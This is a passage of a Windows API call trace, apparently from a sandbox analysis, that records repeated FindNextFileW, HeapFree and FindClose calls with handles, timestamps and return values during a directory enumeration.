hHeap=0x510000) returned 1 [0144.093] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.093] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.093] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.093] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.093] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.093] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.093] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.093] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.094] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.094] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.094] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.094] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.094] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.094] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.094] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.094] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.095] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.095] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.095] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0144.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.095] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0144.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.095] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0144.095] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0144.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0144.096] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0144.097] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.097] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.099] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.099] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.099] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0144.099] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.099] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0144.099] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0144.099] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.099] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.170] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.170] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.170] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.170] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.170] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.170] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.170] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.170] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.170] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.170] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.170] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.170] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.170] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.171] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.171] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.171] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.171] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.171] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.171] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.171] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.171] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.171] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.171] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.171] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.171] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.171] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.171] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.171] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.172] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.172] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.172] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.172] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.172] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.172] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.172] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.172] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.172] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.172] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.172] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.172] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.173] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.173] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.173] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.173] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.174] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.174] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.174] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.174] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.175] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.175] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.175] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.175] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.176] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.176] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.178] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.178] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.179] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.179] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.179] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.179] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.179] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.179] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.180] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.180] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.180] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.180] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.181] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.181] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0144.181] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0144.182] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.182] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.182] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0144.182] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.182] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0144.182] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0144.182] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.182] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0144.182] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0144.182] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0144.184] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0144.187] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.187] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.192] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.192] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.192] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0144.192] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.192] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0144.192] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0144.192] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.193] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0144.541] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.542] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.648] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.704] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.704] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.704] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.704] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.704] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.704] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.704] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.704] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.704] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.704] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.704] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.704] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.704] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.705] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.705] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.705] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.705] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.705] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.705] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.705] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.705] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.705] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.705] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.705] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.705] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.705] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.705] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.705] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.706] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.706] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.706] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.706] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.706] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.706] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.706] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.706] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.706] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.706] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.706] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.706] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.706] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.706] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.707] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.707] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.707] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.707] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.707] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.707] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.707] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.708] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.708] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.708] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.708] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.708] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0144.708] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.708] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.708] FindClose (in: hFindFile=0x3e5c0d8 | out: hFindFile=0x3e5c0d8) returned 1 [0144.708] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.709] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0144.709] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.709] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0144.709] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0144.709] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.709] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0144.709] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0144.709] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.710] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0144.710] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0144.710] 